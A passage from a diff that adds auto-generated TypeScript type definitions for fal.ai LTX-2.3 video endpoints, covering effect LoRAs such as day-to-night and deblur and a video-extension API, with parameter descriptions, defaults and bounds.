@minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityCrossEyedResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityCrossEyedVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityCrossEyedVideoWriteModeEnumKey +} + +export type FileEca4D475 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityCrossEyed = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileEca4D475 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityDayToNightResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityDayToNightResolutionEnumKey = + (typeof inputFalAiLtx23QualityDayToNightResolutionEnum)[keyof typeof inputFalAiLtx23QualityDayToNightResolutionEnum] + +export const inputFalAiLtx23QualityDayToNightVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityDayToNightVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityDayToNightVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityDayToNightVideoQualityEnum] + +export const inputFalAiLtx23QualityDayToNightVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityDayToNightVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityDayToNightVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityDayToNightVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityDayToNight = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityDayToNightResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityDayToNightVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityDayToNightVideoWriteModeEnumKey +} + +export type File909Bafaa = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityDayToNight = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File909Bafaa + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityDeblurResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityDeblurResolutionEnumKey = + (typeof inputFalAiLtx23QualityDeblurResolutionEnum)[keyof typeof inputFalAiLtx23QualityDeblurResolutionEnum] + +export const inputFalAiLtx23QualityDeblurVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityDeblurVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityDeblurVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityDeblurVideoQualityEnum] + +export const inputFalAiLtx23QualityDeblurVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityDeblurVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityDeblurVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityDeblurVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityDeblur = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityDeblurResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityDeblurVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityDeblurVideoWriteModeEnumKey +} + +export type File33941Bf3 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityDeblur = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File33941Bf3 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export const inputFalAiLtx23QualityDecompressionResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiLtx23QualityDecompressionResolutionEnumKey = + (typeof inputFalAiLtx23QualityDecompressionResolutionEnum)[keyof typeof inputFalAiLtx23QualityDecompressionResolutionEnum] + +export const inputFalAiLtx23QualityDecompressionVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityDecompressionVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityDecompressionVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityDecompressionVideoQualityEnum] + +export const inputFalAiLtx23QualityDecompressionVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityDecompressionVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityDecompressionVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityDecompressionVideoWriteModeEnum] + +/** + * @description Shared input for the Creative-Lab video-to-video effect IC-LoRAs. + * + * The source ``video_url`` is fed straight into the IC-LoRA guide and + * re-rendered through the effect adapter (colorization, deblur, + * decompression, instant-shave, water-simulation, day-to-night, cross-eyed, + * clean-plate). + * Each endpoint bakes in its LoRA and its trained caption convention, so the + * public ``prompt`` is just an optional scene description that is woven into + * that caption. Runs on the distilled 8-step path; prompt expansion is + * bypassed so the trained caption reaches the model verbatim. + * @type object + */ +export type InputFalAiLtx23QualityDecompression = { + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The number of output frames. Output duration is num_frames / frames_per_second. The IC-LoRA control budget caps the resolution x frames volume: roughly 6s at 720p or 15s at 480p; a request above it returns a 422 (lower num_frames, or use 480p). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Optional short description of the video's content/scene. It is woven into the effect's trained caption to sharpen the result; leave empty to apply the effect with a generic description. + * @default '' + * @type string | undefined + */ + prompt?: string + /** + * @description Whether to include audio in the returned video. When disabled, the final MP4 is returned without an audio track. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Output resolution (short side), preserving the source aspect ratio. The IC-LoRA control path caps the resolution x frames volume, so resolution trades against duration: 720p allows up to ~6s (sharper), 480p up to ~15s (softer but longer). A request above the budget is rejected with a clear error — pick 480p for longer clips. Output duration is num_frames / frames_per_second. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiLtx23QualityDecompressionResolutionEnumKey + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The URL of the source video to transform. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityDecompressionVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityDecompressionVideoWriteModeEnumKey +} + +export type File48701092 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityDecompression = { + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: File48701092 + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string +} + +export type ImageSize40De05Ad = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiLtx23QualityExtendVideoVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityExtendVideoVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityExtendVideoVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityExtendVideoVideoQualityEnum] + +export const inputFalAiLtx23QualityExtendVideoResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityExtendVideoResolutionKey = + (typeof inputFalAiLtx23QualityExtendVideoResolution)[keyof typeof inputFalAiLtx23QualityExtendVideoResolution] + +export const inputFalAiLtx23QualityExtendVideoVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityExtendVideoVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityExtendVideoVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityExtendVideoVideoWriteModeEnum] + +export const inputFalAiLtx23QualityExtendVideoExtendDirectionEnum = { + forward: 'forward', + backward: 'backward', +} as const + +export type InputFalAiLtx23QualityExtendVideoExtendDirectionEnumKey = + (typeof inputFalAiLtx23QualityExtendVideoExtendDirectionEnum)[keyof typeof inputFalAiLtx23QualityExtendVideoExtendDirectionEnum] + +/** + * @description Extend a video forward (continue the ending) or backward (prepend a + * beginning). + * + * The last (forward) or first (backward) ``num_context_frames`` of the + * source video condition the head/tail of a fresh LTX-2.3 generation via the + * official Lightricks guide mechanism, and the generated segment is + * crossfaded onto the source over that overlap. Field surface follows the + * hosted ``ltx-2.3-22b/extend-video`` endpoint. Audio for the extension is + * newly generated from the prompt (the ComfyUI graph has no audio-context + * conditioning); it is crossfaded with the source audio at the seam rather + * than continuing the source soundtrack. + * @type object + */ +export type InputFalAiLtx23QualityExtendVideo = { + /** + * @description When enabled, the output FPS matches the source video's FPS (rounded to an integer and clamped to the supported range) instead of frames_per_second. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityExtendVideoVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Conditioning strength of the optional end keyframe. 1.0 = exact match, lower = more freedom for the model. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description Whether to generate new audio for the extension segment (crossfaded with the source audio at the seam). When disabled, the source video's own audio track is preserved and the extension stays silent. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The URL of the video to extend. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of source frames used as context/overlap for the extension. Snapped down to the LTX temporal grid (8k+1) and clamped to the frames available in the source video. + * @minimum 9 + * @maximum 121 + * @default 25 + * @type integer | undefined + */ + num_context_frames?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The prompt describing how the video should continue. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated video. 'auto' follows the source video size/aspect up to the LTX limits; the source is scaled to the final size in the stitched output. Sizes are 32px-aligned (e.g. 1920x1080 is delivered as 1888x1056). Higher resolutions reduce the maximum stable extension length; lower resolutions can run longer. + * @default auto + */ + resolution?: + | ImageSize40De05Ad + | InputFalAiLtx23QualityExtendVideoResolutionKey + /** + * @description Conditioning strength of the source context frames. 1.0 keeps the overlap locked to the source for a seamless transition; lower values give the model more freedom. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + video_strength?: number + /** + * @description The write mode of the generated video. + * @default 'balanced' + * @type string | undefined + */ + video_write_mode?: InputFalAiLtx23QualityExtendVideoVideoWriteModeEnumKey + /** + * @description The number of frames to generate for the extension segment, including num_context_frames of overlap with the source video. The new content adds approximately (num_frames - num_context_frames) / frames_per_second seconds. The stable generation budget caps the resolution x frames volume: at 24 fps roughly 20s at 480p-class, 11s at 720p-class and 5s at 1080p-class; a request above the budget returns a 422 (lower num_frames or use a smaller resolution). + * @minimum 9 + * @maximum 481 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Optional keyframe image for the far end of the extension: the final frame for forward extension, or the new first frame for backward extension. + */ + end_image_url?: string | null + /** + * @description Direction to extend the video. 'forward' continues from the end of the video, 'backward' generates a new beginning. + * @default 'forward' + * @type string | undefined + */ + extend_direction?: InputFalAiLtx23QualityExtendVideoExtendDirectionEnumKey +} + +export type FileDe57Ef2D = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +/** + * @description Standard output for every endpoint on this app. + * @type object + */ +export type OutputFalAiLtx23QualityExtendVideo = { + /** + * @description The prompt used for generation (after any expansion). + * @type string + */ + prompt: string + /** + * @description The seed actually used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video. + * @type object + */ + video: FileDe57Ef2D +} + +export type ImageSize4344Cfb5 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const loRAInputA8B84B59TransformerEnum = { + high: 'high', + low: 'low', + both: 'both', +} as const + +export type LoRAInputA8B84B59TransformerEnumKey = + (typeof loRAInputA8B84B59TransformerEnum)[keyof typeof loRAInputA8B84B59TransformerEnum] + +/** + * @description A single LoRA to apply on top of the LTX-2.3 base model. + * + * Loaded at request time through the registry SSRF-safe downloader. + * @type object + */ +export type LoRAInputA8B84B59 = { + /** + * @description Forward-compatibility flag for multi-transformer architectures. LTX-2.3 has a single transformer, so 'both' is the right choice for almost all users. + * @default 'both' + * @type string | undefined + */ + transformer?: LoRAInputA8B84B59TransformerEnumKey + /** + * @description Strength of the LoRA application (0.0 to 2.0). Higher values = stronger effect on the generated video. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description Direct HTTP(S) download URL of the LoRA file (.safetensors). The file is downloaded through an SSRF-safe downloader before it is loaded. Max size: 3 GB. + * @maxLength 2048 + * @example https://example.com/path/to/lora.safetensors + * @type string + */ + path: string +} + +export const inputFalAiLtx23QualityExtendVideoLoraVideoQualityEnum = { + low: 'low', + medium: 'medium', + high: 'high', + maximum: 'maximum', +} as const + +export type InputFalAiLtx23QualityExtendVideoLoraVideoQualityEnumKey = + (typeof inputFalAiLtx23QualityExtendVideoLoraVideoQualityEnum)[keyof typeof inputFalAiLtx23QualityExtendVideoLoraVideoQualityEnum] + +export const inputFalAiLtx23QualityExtendVideoLoraResolution = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiLtx23QualityExtendVideoLoraResolutionKey = + (typeof inputFalAiLtx23QualityExtendVideoLoraResolution)[keyof typeof inputFalAiLtx23QualityExtendVideoLoraResolution] + +export const inputFalAiLtx23QualityExtendVideoLoraVideoWriteModeEnum = { + fast: 'fast', + balanced: 'balanced', + small: 'small', +} as const + +export type InputFalAiLtx23QualityExtendVideoLoraVideoWriteModeEnumKey = + (typeof inputFalAiLtx23QualityExtendVideoLoraVideoWriteModeEnum)[keyof typeof inputFalAiLtx23QualityExtendVideoLoraVideoWriteModeEnum] + +export const inputFalAiLtx23QualityExtendVideoLoraExtendDirectionEnum = { + forward: 'forward', + backward: 'backward', +} as const + +export type InputFalAiLtx23QualityExtendVideoLoraExtendDirectionEnumKey = + (typeof inputFalAiLtx23QualityExtendVideoLoraExtendDirectionEnum)[keyof typeof inputFalAiLtx23QualityExtendVideoLoraExtendDirectionEnum] + +/** + * @description Extend-video + user-supplied LoRAs (e.g. trained extend adapters). + * @type object + */ +export type InputFalAiLtx23QualityExtendVideoLora = { + /** + * @description When enabled, the output FPS matches the source video's FPS (rounded to an integer and clamped to the supported range) instead of frames_per_second. + * @default true + * @type boolean | undefined + */ + match_input_fps?: boolean + /** + * @description The quality preset of the generated video. + * @default 'high' + * @type string | undefined + */ + video_quality?: InputFalAiLtx23QualityExtendVideoLoraVideoQualityEnumKey + /** + * @description Number of inference steps. Defaults to 15 and can be increased up to 30. + * @minimum 8 + * @maximum 30 + * @default 15 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Conditioning strength of the optional end keyframe. 1.0 = exact match, lower = more freedom for the model. + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + end_image_strength?: number + /** + * @description Whether to generate new audio for the extension segment (crossfaded with the source audio at the seam). When disabled, the source video's own audio track is preserved and the extension stays silent. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The URL of the video to extend. + * @example https://v3b.fal.media/files/b/0a8824b1/sdm0KfmenrlywesfzY1Y1_if6euPp1.mp4 + * @type string + */ + video_url: string + /** + * @description If True, the media is returned as a data URI inline in the response. Useful for short-lived requests and tests. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Whether to enable prompt expansion. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of source frames used as context/overlap for the extension. Snapped down to the LTX temporal grid (8k+1) and clamped to the frames available in the source video. + * @minimum 9 + * @maximum 121 + * @default 25 + * @type integer | undefined + */ + num_context_frames?: number + /** + * @description The negative prompt to steer generation away from. + * @default 'color distortion, overexposure, static, blurry details, subtitles, style, artwork, painting, frame, still, dim overall tone, worst quality, low quality, JPEG compression artifacts, ugly, mutilated, extra fingers, poorly drawn hands, poorly drawn face, deformed, disfigured, malformed limbs, fused fingers, motionless frame, cluttered background, three legs, crowded background, walking backwards' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Frames per second of the generated video. + * @minimum 1 + * @maximum 60 + * @default 24 + * @type number | undefined + */ + frames_per_second?: number + /** + * @description The prompt describing how the video should continue. + * @example Continue the scene naturally, maintaining the same style and motion. + * @type string + */ + prompt: string + /** + * @description Classifier-free guidance scale. The default is tuned for fast, high-quality generation. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Random seed for reproducibility. If None, a random seed is chosen. + */ + seed?: number | null + /** + * @description Whether to enable the safety checker. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated video. 'auto' follows the source video size/aspect up to the LTX limits; the source is scaled to the final size in the stitched output. Sizes are 32px-aligned (e.g. 1920x1080 is delivered as 1888x1056). Higher resolutions reduce the maximum stable extension length; lower resolutions can run longer. + * @default auto + */ + resolution?: + | ImageSize4344Cfb5 + | InputFalAiLtx23QualityExtendVideoLoraResolutionKey + /** + * @description Conditioning strength of the source context frames. 1.0 keeps the overlap locked to the source for a seamless transition; lower values give the model more freedom. + * @minimum 0 + * @maximum 1 + * 